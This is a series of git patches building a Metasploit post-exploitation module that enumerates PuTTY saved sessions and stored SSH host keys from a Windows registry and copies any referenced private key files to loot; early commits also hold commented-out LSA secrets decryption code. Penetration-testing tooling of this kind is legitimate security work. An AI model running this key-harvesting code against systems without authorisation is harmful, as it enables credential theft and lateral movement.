From f65207ac4024baacffb62329a679b402d066a4a3 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Fri, 15 May 2015 16:20:46 +0100 Subject: [PATCH 001/119] Initial version, working Needs tidying up. Current version: * Searches for PuTTY registry keys * Downloades the Hostname, port, private key filename, username to log in as and any port forwarding instructions * If the private keys are accessible on the box, download them to loot To do: * Detect whether pageant is running or not and report back * Tidy up code (used another plugin as a template) --- .../gather/putty_enum_saved_sessions.rb | 201 ++++++++++++++++++ 1 file changed, 201 insertions(+) create mode 100644 modules/post/windows/gather/putty_enum_saved_sessions.rb diff --git a/modules/post/windows/gather/putty_enum_saved_sessions.rb b/modules/post/windows/gather/putty_enum_saved_sessions.rb new file mode 100644 index 0000000000..7614f49aa7 --- /dev/null +++ b/modules/post/windows/gather/putty_enum_saved_sessions.rb @@ -0,0 +1,201 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/post/windows/priv' +require 'msf/core/post/common' +require 'msf/core/post/windows/registry' + +class Metasploit3 < Msf::Post + include Msf::Post::Windows::Priv + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::Windows::Registry + + INTERESTING_KEYS=['HostName','PublicKeyFile','UserName','PortNumber','PortForwardings'] + def initialize(info={}) + super(update_info(info, + 'Name' => "PuTTY thing", + 'Description' => %q{ + This module will attempt to enumerate the LSA Secrets keys within the registry. The registry value used is: + HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\. Thanks goes to Maurizio Agazzini and Mubix for decrypt + code from cachedump. + }, + 'License' => MSF_LICENSE, + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'Author' => ['Stuart Morgan '] + )) + end + + +# # Decrypted LSA key is passed into this method +# def get_secret(lsa_key) +# output = "\n" +# +# # LSA Secret key location within the registry +# root_regkey = "HKLM\\Security\\Policy\\Secrets\\" +# services_key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\" +# +# secrets = registry_enumkeys(root_regkey) +# +# secrets.each do |secret_regkey| +# sk_arr = registry_enumkeys(root_regkey + "\\" + secret_regkey) +# next unless sk_arr +# +# sk_arr.each do |mkeys| +# # CurrVal stores the currently set value of the key. In the case +# # of services, this is usually the password for the service +# # account. +# next unless mkeys == "CurrVal" +# +# val_key = root_regkey + "\\" + secret_regkey + "\\" + mkeys +# encrypted_secret = registry_getvaldata(val_key, "") +# +# next unless encrypted_secret +# +# if lsa_vista_style? +# # Magic happens here +# decrypted = decrypt_lsa_data(encrypted_secret, lsa_key) +# else +# # and here +# encrypted_secret = encrypted_secret[0xC..-1] +# decrypted = decrypt_secret_data(encrypted_secret, lsa_key) +# end +# +# next unless decrypted.length > 0 +# +# # axe all the non-printables +# decrypted = decrypted.scan(/[[:print:]]/).join +# +# if secret_regkey.start_with?("_SC_") +# # Service secrets are named like "_SC_yourmom" for a service +# # with name "yourmom". Strip off the "_SC_" to get something +# # we can lookup in the list of services to find out what +# # account this secret is associated with. +# svc_name = secret_regkey[4,secret_regkey.length] +# svc_user = registry_getvaldata(services_key + svc_name, "ObjectName") +# +# # if the unencrypted value is not blank and is a service, print +# print_good("Key: #{secret_regkey}\n Username: #{svc_user} \n Decrypted Value: #{decrypted}\n") +# output << "Key: #{secret_regkey}\n Username: #{svc_user} \n Decrypted Value: #{decrypted}\n" +# else +# # if the unencrypted value is not blank, print +# print_good("Key: #{secret_regkey}\n Decrypted Value: #{decrypted}\n") +# output << "Key: #{secret_regkey}\n Decrypted Value: #{decrypted}\n" +# end +# end +# end +# +# return output +# end + + def get_saved_session_details(sessions) + + all_sessions = [] + sessions.each do |ses| + newses = {} + newses['Name'] = Rex::Text.uri_decode(ses) + INTERESTING_KEYS.each do |key| + newses[key] = registry_getvaldata("HKCU\\Software\\SimonTatham\\PuTTY\\Sessions\\#{ses}", key).to_s + end + all_sessions << newses + end + all_sessions + end + + def report(info) + + # Results table holds raw string data + results_table = Rex::Ui::Text::Table.new( + 'Header' => "PuTTY Saved Sessions", + 'Indent' => 1, + 'SortIndex' => -1, + 'Columns' => ['Name'].append(INTERESTING_KEYS).flatten + ) + + info.each do |result| + row = [] + row << result['Name'] + INTERESTING_KEYS.each do |key| + row << result[key] + end + results_table << row + end + + print_line results_table.to_s + #stored_path = store_loot('ad.computers', 'text/plain', session, results_table.to_csv) + #print_status("Results saved to: #{stored_path}") + end + + def grab_private_keys(sessions) + sessions.each do |ses| + filename = ses['PublicKeyFile'].to_s + next if filename.empty? + + if file?(filename) + ppk = read_file(filename) + stored_path = store_loot('putty.ppk.file', 'text/plain', session, ppk) + print_status("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) saved to: #{stored_path}") + else + print_error("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) could not be found.") + end + end + end + + # The sauce starts here + def run + + # Look for saved sessions, break out if not. + saved_sessions = registry_enumkeys('HKCU\\Software\\SimonTatham\\PuTTY\\Sessions') + if saved_sessions.nil? || saved_sessions.empty? + print_error('No saved sessions found') + return + end + + # Tell the user how many sessions have been found (with correct English) + print_status("Found #{saved_sessions.count} session#{saved_sessions.count>1?'s':''}") + + # Retrieve the saved session details & print them to the screen in a report + all_saved_sessions = get_saved_session_details(saved_sessions) + report(all_saved_sessions) + + # If the private key file has been configured, retrieve it and save it to loot + print_status("Downloading private keys...") + grab_private_keys(all_saved_sessions) + + binding.pry + +# hostname = sysinfo['Computer'] +# print_status("Executing module against #{hostname}") +# +# print_status('Obtaining boot key...') +# bootkey = capture_boot_key +# vprint_status("Boot key: #{bootkey.unpack("H*")[0]}") +# +# print_status('Obtaining Lsa key...') +# lsa_key = capture_lsa_key(bootkey) +# if lsa_key.nil? +# print_error("Could not retrieve LSA key. Are you SYSTEM?") +# return +# end +# vprint_status("Lsa Key: #{lsa_key.unpack("H*")[0]}") +# +# secrets = hostname + get_secret(lsa_key) +# +# print_status("Writing to loot...") +# +# path = store_loot( +# 'registry.lsa.sec', +# 'text/plain', +# session, +# secrets, +# 'reg_lsa_secrts.txt', +# 'Registry LSA Secret Decrypted File' +# ) +# +# print_status("Data saved in: #{path}") + end +end From 14035a46b16d8cb1f6b2f8fc416521d3288a985b Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Fri, 15 May 2015 16:28:51 +0100 Subject: [PATCH 002/119] Fixed description --- .../gather/putty_enum_saved_sessions.rb | 106 ++---------------- 1 file changed, 9 insertions(+), 97 deletions(-) diff --git a/modules/post/windows/gather/putty_enum_saved_sessions.rb b/modules/post/windows/gather/putty_enum_saved_sessions.rb index 7614f49aa7..dc41dba3af 100644 --- a/modules/post/windows/gather/putty_enum_saved_sessions.rb +++ b/modules/post/windows/gather/putty_enum_saved_sessions.rb @@ -17,11 +17,14 @@ class Metasploit3 < Msf::Post INTERESTING_KEYS=['HostName','PublicKeyFile','UserName','PortNumber','PortForwardings'] def initialize(info={}) super(update_info(info, - 'Name' => "PuTTY thing", + 'Name' => "PuTTY Saved Sessions Enumeration Module", 'Description' => %q{ - This module will attempt to enumerate the LSA Secrets keys within the registry. The registry value used is: - HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\. Thanks goes to Maurizio Agazzini and Mubix for decrypt - code from cachedump. + This module will identify whether Pageant (PuTTY Agent) is running and obtain saved session + information from the registry. PuTTY is very configurable; some users may have configured + saved sessions which could include a username, private key file to use when authenticating, + host name etc. + + If a private key is configured, an attempt will be made to download and store it in loot. }, 'License' => MSF_LICENSE, 'Platform' => ['win'], @@ -30,68 +33,6 @@ class Metasploit3 < Msf::Post )) end - -# # Decrypted LSA key is passed into this method -# def get_secret(lsa_key) -# output = "\n" -# -# # LSA Secret key location within the registry -# root_regkey = "HKLM\\Security\\Policy\\Secrets\\" -# services_key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\" -# -# secrets = registry_enumkeys(root_regkey) -# -# secrets.each do |secret_regkey| -# sk_arr = registry_enumkeys(root_regkey + "\\" + secret_regkey) -# next unless sk_arr -# -# sk_arr.each do |mkeys| -# # CurrVal stores the currently set value of the key. In the case -# # of services, this is usually the password for the service -# # account. -# next unless mkeys == "CurrVal" -# -# val_key = root_regkey + "\\" + secret_regkey + "\\" + mkeys -# encrypted_secret = registry_getvaldata(val_key, "") -# -# next unless encrypted_secret -# -# if lsa_vista_style? -# # Magic happens here -# decrypted = decrypt_lsa_data(encrypted_secret, lsa_key) -# else -# # and here -# encrypted_secret = encrypted_secret[0xC..-1] -# decrypted = decrypt_secret_data(encrypted_secret, lsa_key) -# end -# -# next unless decrypted.length > 0 -# -# # axe all the non-printables -# decrypted = decrypted.scan(/[[:print:]]/).join -# -# if secret_regkey.start_with?("_SC_") -# # Service secrets are named like "_SC_yourmom" for a service -# # with name "yourmom". Strip off the "_SC_" to get something -# # we can lookup in the list of services to find out what -# # account this secret is associated with. -# svc_name = secret_regkey[4,secret_regkey.length] -# svc_user = registry_getvaldata(services_key + svc_name, "ObjectName") -# -# # if the unencrypted value is not blank and is a service, print -# print_good("Key: #{secret_regkey}\n Username: #{svc_user} \n Decrypted Value: #{decrypted}\n") -# output << "Key: #{secret_regkey}\n Username: #{svc_user} \n Decrypted Value: #{decrypted}\n" -# else -# # if the unencrypted value is not blank, print -# print_good("Key: #{secret_regkey}\n Decrypted Value: #{decrypted}\n") -# output << "Key: #{secret_regkey}\n Decrypted Value: #{decrypted}\n" -# end -# end -# end -# -# return output -# end - def get_saved_session_details(sessions) all_sessions = [] @@ -106,7 +47,7 @@ class Metasploit3 < Msf::Post all_sessions end - def report(info) + def display_saved_sessions_report(info) # Results table holds raw string data results_table = Rex::Ui::Text::Table.new( @@ -160,7 +101,7 @@ class Metasploit3 < Msf::Post # Retrieve the saved session details & print them to the screen in a report all_saved_sessions = get_saved_session_details(saved_sessions) - report(all_saved_sessions) + display_saved_sessions_report(all_saved_sessions) # If the private key file has been configured, retrieve it and save it to loot print_status("Downloading private keys...") @@ -168,34 +109,5 @@ class Metasploit3 < Msf::Post binding.pry -# hostname = sysinfo['Computer'] -# print_status("Executing module against #{hostname}") -# -# print_status('Obtaining boot key...') -# bootkey = capture_boot_key -# vprint_status("Boot key: #{bootkey.unpack("H*")[0]}") -# -# print_status('Obtaining Lsa key...') -# lsa_key = capture_lsa_key(bootkey) -# if lsa_key.nil? -# print_error("Could not retrieve LSA key. Are you SYSTEM?") -# return -# end -# vprint_status("Lsa Key: #{lsa_key.unpack("H*")[0]}") -# -# secrets = hostname + get_secret(lsa_key) -# -# print_status("Writing to loot...") -# -# path = store_loot( -# 'registry.lsa.sec', -# 'text/plain', -# session, -# secrets, -# 'reg_lsa_secrts.txt', -# 'Registry LSA Secret Decrypted File' -# ) -# -# print_status("Data saved in: #{path}") end end From 4a88790c8c133eb4777e5554bd671a24714ff127 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Fri, 15 May 2015 17:57:15 +0100 Subject: [PATCH 003/119] Added SSH host keys --- .../gather/putty_enum_saved_sessions.rb | 102 +++++++++++++++--- 1 file changed, 87 insertions(+), 15 deletions(-) diff --git a/modules/post/windows/gather/putty_enum_saved_sessions.rb b/modules/post/windows/gather/putty_enum_saved_sessions.rb index dc41dba3af..a02cacd0ad 100644 --- a/modules/post/windows/gather/putty_enum_saved_sessions.rb +++ b/modules/post/windows/gather/putty_enum_saved_sessions.rb @@ -67,8 +67,58 @@ class Metasploit3 < Msf::Post end print_line results_table.to_s - #stored_path = store_loot('ad.computers', 'text/plain', session, results_table.to_csv) - #print_status("Results saved to: #{stored_path}") + end + + def get_stored_host_key_details(allkeys) + + # This hash will store (as the key) host:port pairs. This is basically a quick way of + # getting a unique list of host:port pairs. + all_ssh_host_keys = {} + + # This regex will split up lines such as rsa2@22:127.0.0.1 from the registry. + rx_split_hostporttype = %r{^(?[-a-z0-9]+?)@(?[0-9]+?):(?.+)$}i + + # Go through each of the stored keys found in the registry + allkeys.each do |key| + + # Store the raw key and value in a hash to start off with + newkey = { + rawname: key, + rawsig: registry_getvaldata("HKCU\\Software\\SimonTatham\\PuTTY\\SshHostKeys", key).to_s + } + + # Take the key and split up host, port and fingerprint type. If it matches, store the information + # in the hash for later. + split_hostporttype = rx_split_hostporttype.match(key.to_s) + unless split_hostporttype + newkey['host'] = split_hostporttype[:host] + newkey['port'] = split_hostporttype[:port] + newkey['type'] = split_hostporttype[:type] + host_port = "#{newkey['host']}:#{newkey['port']}" + all_ssh_host_keys[host_port] = true + end + end + puts all_ssh_host_keys.inspect + all_ssh_host_keys + end + + def display_stored_host_keys_report(info) + + # Results table holds raw string data + results_table = Rex::Ui::Text::Table.new( + 'Header' => "Stored SSH host key fingerprints", + 'Indent' => 1, + 'SortIndex' => -1, + 'Columns' => ['SSH Endpoint'] + ) + + info.each do |key,result| + row = [] + row << key + results_table << row + end + + print_line results_table.to_s end def grab_private_keys(sessions) @@ -86,28 +136,50 @@ class Metasploit3 < Msf::Post end end - # The sauce starts here + + # Entry point def run # Look for saved sessions, break out if not. - saved_sessions = registry_enumkeys('HKCU\\Software\\SimonTatham\\PuTTY\\Sessions') + print_status("Looking for saved PuTTY sessions") + #saved_sessions = registry_enumkeys('HKCU\\Software\\SimonTatham\\PuTTY\\Sessions') + saved_sessions = nil if saved_sessions.nil? || saved_sessions.empty? print_error('No saved sessions found') - return + else + + # Tell the user how many sessions have been found (with correct English) + print_status("Found #{saved_sessions.count} session#{saved_sessions.count>1?'s':''}") + + # Retrieve the saved session details & print them to the screen in a report + all_saved_sessions = get_saved_session_details(saved_sessions) + display_saved_sessions_report(all_saved_sessions) + + # If the private key file has been configured, retrieve it and save it to loot + print_status("Downloading private keys...") + grab_private_keys(all_saved_sessions) + end - # Tell the user how many sessions have been found (with correct English) - print_status("Found #{saved_sessions.count} session#{saved_sessions.count>1?'s':''}") + #binding.pry - # Retrieve the saved session details & print them to the screen in a report - all_saved_sessions = get_saved_session_details(saved_sessions) - display_saved_sessions_report(all_saved_sessions) + # Now search for SSH stored keys. These could be useful because it shows hosts that the user + # has previously connected to and accepted a key from. + print_status("Looking for previously stored SSH host key fingerprints") + stored_ssh_host_keys = registry_enumvals('HKCU\\Software\\SimonTatham\\PuTTY\\SshHostKeys') + if stored_ssh_host_keys.nil? || stored_ssh_host_keys.empty? + print_error('No stored SSH host keys found') + else + # Tell the user how many sessions have been found (with correct English) + print_status("Found #{stored_ssh_host_keys.count} stored key fingerprint#{stored_ssh_host_keys.count>1?'s':''}") - # If the private key file has been configured, retrieve it and save it to loot - print_status("Downloading private keys...") - grab_private_keys(all_saved_sessions) - - binding.pry + # Retrieve the saved session details & print them to the screen in a report + print_status("Downloading stored key fingerprints...") + all_stored_keys = get_stored_host_key_details(stored_ssh_host_keys) + print_status("Unique host:port pairs are shown in the table below. All other details, including the actual fingerprint, are stored in notes (putty.ssh.fingerprint)") + display_stored_host_keys_report(all_stored_keys) + end end + end From 5d273d53b484a9d58f82ecf1980ba2a9e37b58d2 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Fri, 15 May 2015 22:02:12 +0100 Subject: [PATCH 004/119] Fixed module logic so that the key fingerprints now get displayed properly: --- .../gather/putty_enum_saved_sessions.rb | 29 ++++++++++++------- 1 file changed, 19 insertions(+), 10 deletions(-) diff --git a/modules/post/windows/gather/putty_enum_saved_sessions.rb b/modules/post/windows/gather/putty_enum_saved_sessions.rb index a02cacd0ad..77e1d93d2a 100644 --- a/modules/post/windows/gather/putty_enum_saved_sessions.rb +++ b/modules/post/windows/gather/putty_enum_saved_sessions.rb @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Post host name etc. If a private key is configured, an attempt will be made to download and store it in loot. - }, + }, 'License' => MSF_LICENSE, 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], @@ -90,15 +90,21 @@ class Metasploit3 < Msf::Post # Take the key and split up host, port and fingerprint type. If it matches, store the information # in the hash for later. split_hostporttype = rx_split_hostporttype.match(key.to_s) - unless split_hostporttype + if split_hostporttype + + # Extract the host, port and key type into the hash newkey['host'] = split_hostporttype[:host] newkey['port'] = split_hostporttype[:port] newkey['type'] = split_hostporttype[:type] + + # Form the key host_port = "#{newkey['host']}:#{newkey['port']}" - all_ssh_host_keys[host_port] = true + + # Add it to the consolidation hash. If the same IP has different key types, append to the array + all_ssh_host_keys[host_port] = [] if all_ssh_host_keys[host_port].nil? + all_ssh_host_keys[host_port] << newkey['type'] end end - puts all_ssh_host_keys.inspect all_ssh_host_keys end @@ -109,12 +115,13 @@ class Metasploit3 < Msf::Post 'Header' => "Stored SSH host key fingerprints", 'Indent' => 1, 'SortIndex' => -1, - 'Columns' => ['SSH Endpoint'] + 'Columns' => ['SSH Endpoint', 'Key Type(s)'] ) info.each do |key,result| row = [] row << key + row << result.join(', ') results_table << row end @@ -161,8 +168,6 @@ class Metasploit3 < Msf::Post end - #binding.pry - # Now search for SSH stored keys. These could be useful because it shows hosts that the user # has previously connected to and accepted a key from. print_status("Looking for previously stored SSH host key fingerprints") @@ -176,10 +181,14 @@ class Metasploit3 < Msf::Post # Retrieve the saved session details & print them to the screen in a report print_status("Downloading stored key fingerprints...") all_stored_keys = get_stored_host_key_details(stored_ssh_host_keys) - print_status("Unique host:port pairs are shown in the table below. All other details, including the actual fingerprint, are stored in notes (putty.ssh.fingerprint)") - display_stored_host_keys_report(all_stored_keys) - + if all_stored_keys.nil? || all_stored_keys.empty? + print_status("Unique host:port pairs are shown in the table below. All other details, including the actual fingerprint, are stored in notes (putty.ssh.fingerprint)") + display_stored_host_keys_report(all_stored_keys) + else + print_error("No stored key fingerprints found") + end end + end end From 53311fda2e9adba04fac10bc6bdf3856ca78d614 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sun, 17 May 2015 13:02:58 +0100 Subject: [PATCH 005/119] Fixed logic & added notes storage --- .../gather/putty_enum_saved_sessions.rb | 23 ++++++++++++------- 1 file changed, 15 insertions(+), 8 deletions(-) diff --git a/modules/post/windows/gather/putty_enum_saved_sessions.rb b/modules/post/windows/gather/putty_enum_saved_sessions.rb index 77e1d93d2a..48c819b877 100644 --- a/modules/post/windows/gather/putty_enum_saved_sessions.rb +++ b/modules/post/windows/gather/putty_enum_saved_sessions.rb @@ -43,6 +43,7 @@ class Metasploit3 < Msf::Post newses[key] = registry_getvaldata("HKCU\\Software\\SimonTatham\\PuTTY\\Sessions\\#{ses}", key).to_s end all_sessions << newses + report_note(host: target_host, type: "putty.savedsession", data: newses) end all_sessions end @@ -104,6 +105,7 @@ class Metasploit3 < Msf::Post all_ssh_host_keys[host_port] = [] if all_ssh_host_keys[host_port].nil? all_ssh_host_keys[host_port] << newkey['type'] end + report_note(host: target_host, type: "putty.storedhostfp", data: newkey) end all_ssh_host_keys end @@ -130,13 +132,18 @@ class Metasploit3 < Msf::Post def grab_private_keys(sessions) sessions.each do |ses| + filename = ses['PublicKeyFile'].to_s next if filename.empty? + # Check whether the file exists. if file?(filename) - ppk = read_file(filename) - stored_path = store_loot('putty.ppk.file', 'text/plain', session, ppk) - print_status("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) saved to: #{stored_path}") + if ppk = read_file(filename) # Attempt to read the contents of the file + stored_path = store_loot('putty.ppk.file', 'application/octet-stream', session, ppk) + print_status("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) saved to: #{stored_path}") + else + print_error("Unable to read PuTTY private key file for \'#{ses['Name']}\' (#{filename})") # May be that we do not have permissions etc + end else print_error("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) could not be found.") end @@ -149,8 +156,7 @@ class Metasploit3 < Msf::Post # Look for saved sessions, break out if not. print_status("Looking for saved PuTTY sessions") - #saved_sessions = registry_enumkeys('HKCU\\Software\\SimonTatham\\PuTTY\\Sessions') - saved_sessions = nil + saved_sessions = registry_enumkeys('HKCU\\Software\\SimonTatham\\PuTTY\\Sessions') if saved_sessions.nil? || saved_sessions.empty? print_error('No saved sessions found') else @@ -161,6 +167,7 @@ class Metasploit3 < Msf::Post # Retrieve the saved session details & print them to the screen in a report all_saved_sessions = get_saved_session_details(saved_sessions) display_saved_sessions_report(all_saved_sessions) + print_status("Session data also stored in notes. Use 'notes -t putty.savedsessions to view'.") # If the private key file has been configured, retrieve it and save it to loot print_status("Downloading private keys...") @@ -182,10 +189,10 @@ class Metasploit3 < Msf::Post print_status("Downloading stored key fingerprints...") all_stored_keys = get_stored_host_key_details(stored_ssh_host_keys) if all_stored_keys.nil? || all_stored_keys.empty? - print_status("Unique host:port pairs are shown in the table below. All other details, including the actual fingerprint, are stored in notes (putty.ssh.fingerprint)") - display_stored_host_keys_report(all_stored_keys) - else print_error("No stored key fingerprints found") + else + print_status("Unique host:port pairs are shown in the table below. All other details, including the actual fingerprint, are stored in notes. Use 'notes -t putty.storedhostfp to view'.") + display_stored_host_keys_report(all_stored_keys) end end From 8aa27eee94ca464e3e6404d8dcc1e92fac503af1 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sun, 17 May 2015 13:06:05 +0100 Subject: [PATCH 006/119] report_note only appears to allow one note per host/type combo... --- modules/post/windows/gather/putty_enum_saved_sessions.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/post/windows/gather/putty_enum_saved_sessions.rb b/modules/post/windows/gather/putty_enum_saved_sessions.rb index 48c819b877..6fd7a0b68c 100644 --- a/modules/post/windows/gather/putty_enum_saved_sessions.rb +++ b/modules/post/windows/gather/putty_enum_saved_sessions.rb @@ -43,7 +43,6 @@ class Metasploit3 < Msf::Post newses[key] = registry_getvaldata("HKCU\\Software\\SimonTatham\\PuTTY\\Sessions\\#{ses}", key).to_s end all_sessions << newses - report_note(host: target_host, type: "putty.savedsession", data: newses) end all_sessions end @@ -105,7 +104,6 @@ class Metasploit3 < Msf::Post all_ssh_host_keys[host_port] = [] if all_ssh_host_keys[host_port].nil? all_ssh_host_keys[host_port] << newkey['type'] end - report_note(host: target_host, type: "putty.storedhostfp", data: newkey) end all_ssh_host_keys end From 4a416bba3c8b14b20d07776eec5cdc2fbbbecf32 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sun, 17 May 2015 13:24:38 +0100 Subject: [PATCH 007/119] Fixed notes using :unique_data --- modules/post/windows/gather/putty_enum_saved_sessions.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/post/windows/gather/putty_enum_saved_sessions.rb b/modules/post/windows/gather/putty_enum_saved_sessions.rb index 6fd7a0b68c..523fcbffe2 100644 --- a/modules/post/windows/gather/putty_enum_saved_sessions.rb +++ b/modules/post/windows/gather/putty_enum_saved_sessions.rb @@ -43,6 +43,7 @@ class Metasploit3 < Msf::Post newses[key] = registry_getvaldata("HKCU\\Software\\SimonTatham\\PuTTY\\Sessions\\#{ses}", key).to_s end all_sessions << newses + report_note(host: target_host, type: "putty.savedsession", data: newses, update: :unique_data) end all_sessions end @@ -104,6 +105,7 @@ class Metasploit3 < Msf::Post all_ssh_host_keys[host_port] = [] if all_ssh_host_keys[host_port].nil? all_ssh_host_keys[host_port] << newkey['type'] end + report_note(host: target_host, type: "putty.storedfingerprint", data: newkey, update: :unique_data) end all_ssh_host_keys end @@ -189,7 +191,7 @@ class Metasploit3 < Msf::Post if all_stored_keys.nil? || all_stored_keys.empty? print_error("No stored key fingerprints found") else - print_status("Unique host:port pairs are shown in the table below. All other details, including the actual fingerprint, are stored in notes. Use 'notes -t putty.storedhostfp to view'.") + print_status("Unique host:port pairs are shown in the table below. All other details, including the actual fingerprint, are stored in notes. Use 'notes -t putty.storedfingerprint to view'.") display_stored_host_keys_report(all_stored_keys) end end From 18a9dfd6dadf2758bcfe6f39888e1091cace2fd9 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sun, 17 May 2015 14:37:59 +0100 Subject: [PATCH 008/119] Added PAGEANT_REGISTRY_KEY variable to enhance readability --- modules/post/windows/gather/putty_enum_saved_sessions.rb | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/modules/post/windows/gather/putty_enum_saved_sessions.rb b/modules/post/windows/gather/putty_enum_saved_sessions.rb index 523fcbffe2..dac8d00d83 100644 --- a/modules/post/windows/gather/putty_enum_saved_sessions.rb +++ b/modules/post/windows/gather/putty_enum_saved_sessions.rb @@ -15,6 +15,8 @@ class Metasploit3 < Msf::Post include Msf::Post::Windows::Registry INTERESTING_KEYS=['HostName','PublicKeyFile','UserName','PortNumber','PortForwardings'] + PAGEANT_REGISTRY_KEY="HKCU\\Software\\SimonTatham\\PuTTY" + def initialize(info={}) super(update_info(info, 'Name' => "PuTTY Saved Sessions Enumeration Module", @@ -40,7 +42,7 @@ class Metasploit3 < Msf::Post newses = {} newses['Name'] = Rex::Text.uri_decode(ses) INTERESTING_KEYS.each do |key| - newses[key] = registry_getvaldata("HKCU\\Software\\SimonTatham\\PuTTY\\Sessions\\#{ses}", key).to_s + newses[key] = registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\Sessions\\#{ses}", key).to_s end all_sessions << newses report_note(host: target_host, type: "putty.savedsession", data: newses, update: :unique_data) @@ -85,7 +87,7 @@ class Metasploit3 < Msf::Post # Store the raw key and value in a hash to start off with newkey = { rawname: key, - rawsig: registry_getvaldata("HKCU\\Software\\SimonTatham\\PuTTY\\SshHostKeys", key).to_s + rawsig: registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\SshHostKeys", key).to_s } # Take the key and split up host, port and fingerprint type. If it matches, store the information @@ -156,7 +158,7 @@ class Metasploit3 < Msf::Post # Look for saved sessions, break out if not. print_status("Looking for saved PuTTY sessions") - saved_sessions = registry_enumkeys('HKCU\\Software\\SimonTatham\\PuTTY\\Sessions') + saved_sessions = registry_enumkeys("#{PAGEANT_REGISTRY_KEY}\\Sessions") if saved_sessions.nil? || saved_sessions.empty? print_error('No saved sessions found') else From 1177f42263baa1a46814625e04bf471b7db9150d Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sun, 17 May 2015 14:38:25 +0100 Subject: [PATCH 009/119] Renamed module to remain consistent with other enum modules --- ...{putty_enum_saved_sessions.rb => enum_putty_saved_sessions.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/post/windows/gather/{putty_enum_saved_sessions.rb => enum_putty_saved_sessions.rb} (100%) diff --git a/modules/post/windows/gather/putty_enum_saved_sessions.rb b/modules/post/windows/gather/enum_putty_saved_sessions.rb similarity index 100% rename from modules/post/windows/gather/putty_enum_saved_sessions.rb rename to modules/post/windows/gather/enum_putty_saved_sessions.rb From b12db7b6335566645293f999aba21af90deee2a2 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sun, 17 May 2015 14:59:26 +0100 Subject: [PATCH 010/119] Retrieves saved session lists etc to loot and exports information in CSV format --- modules/post/windows/gather/enum_putty_saved_sessions.rb | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/enum_putty_saved_sessions.rb b/modules/post/windows/gather/enum_putty_saved_sessions.rb index dac8d00d83..d9d8158f2b 100644 --- a/modules/post/windows/gather/enum_putty_saved_sessions.rb +++ b/modules/post/windows/gather/enum_putty_saved_sessions.rb @@ -69,7 +69,10 @@ class Metasploit3 < Msf::Post results_table << row end + print_line print_line results_table.to_s + stored_path = store_loot('putty.sessions.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Saved Sessions List") + print_status("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).") end def get_stored_host_key_details(allkeys) @@ -129,7 +132,10 @@ class Metasploit3 < Msf::Post results_table << row end + print_line print_line results_table.to_s + stored_path = store_loot('putty.storedfingerprints.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Stored SSH Host Keys List") + print_status("PuTTY stored host keys list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.storedfingerprint' to view).") end def grab_private_keys(sessions) @@ -169,7 +175,6 @@ class Metasploit3 < Msf::Post # Retrieve the saved session details & print them to the screen in a report all_saved_sessions = get_saved_session_details(saved_sessions) display_saved_sessions_report(all_saved_sessions) - print_status("Session data also stored in notes. Use 'notes -t putty.savedsessions to view'.") # If the private key file has been configured, retrieve it and save it to loot print_status("Downloading private keys...") @@ -193,7 +198,6 @@ class Metasploit3 < Msf::Post if all_stored_keys.nil? || all_stored_keys.empty? print_error("No stored key fingerprints found") else - print_status("Unique host:port pairs are shown in the table below. All other details, including the actual fingerprint, are stored in notes. Use 'notes -t putty.storedfingerprint to view'.") display_stored_host_keys_report(all_stored_keys) end end From a4f67bce6f4f844cf25730a9bfb59caebc44d85c Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sun, 17 May 2015 15:48:05 +0100 Subject: [PATCH 011/119] Tidied up code --- .../windows/gather/enum_putty_saved_sessions.rb | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/enum_putty_saved_sessions.rb b/modules/post/windows/gather/enum_putty_saved_sessions.rb index d9d8158f2b..df76db11ca 100644 --- a/modules/post/windows/gather/enum_putty_saved_sessions.rb +++ b/modules/post/windows/gather/enum_putty_saved_sessions.rb @@ -148,12 +148,12 @@ class Metasploit3 < Msf::Post if file?(filename) if ppk = read_file(filename) # Attempt to read the contents of the file stored_path = store_loot('putty.ppk.file', 'application/octet-stream', session, ppk) - print_status("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) saved to: #{stored_path}") + print_good("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) saved to: #{stored_path}") else print_error("Unable to read PuTTY private key file for \'#{ses['Name']}\' (#{filename})") # May be that we do not have permissions etc end else - print_error("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) could not be found.") + print_error("PuTTY private key file for 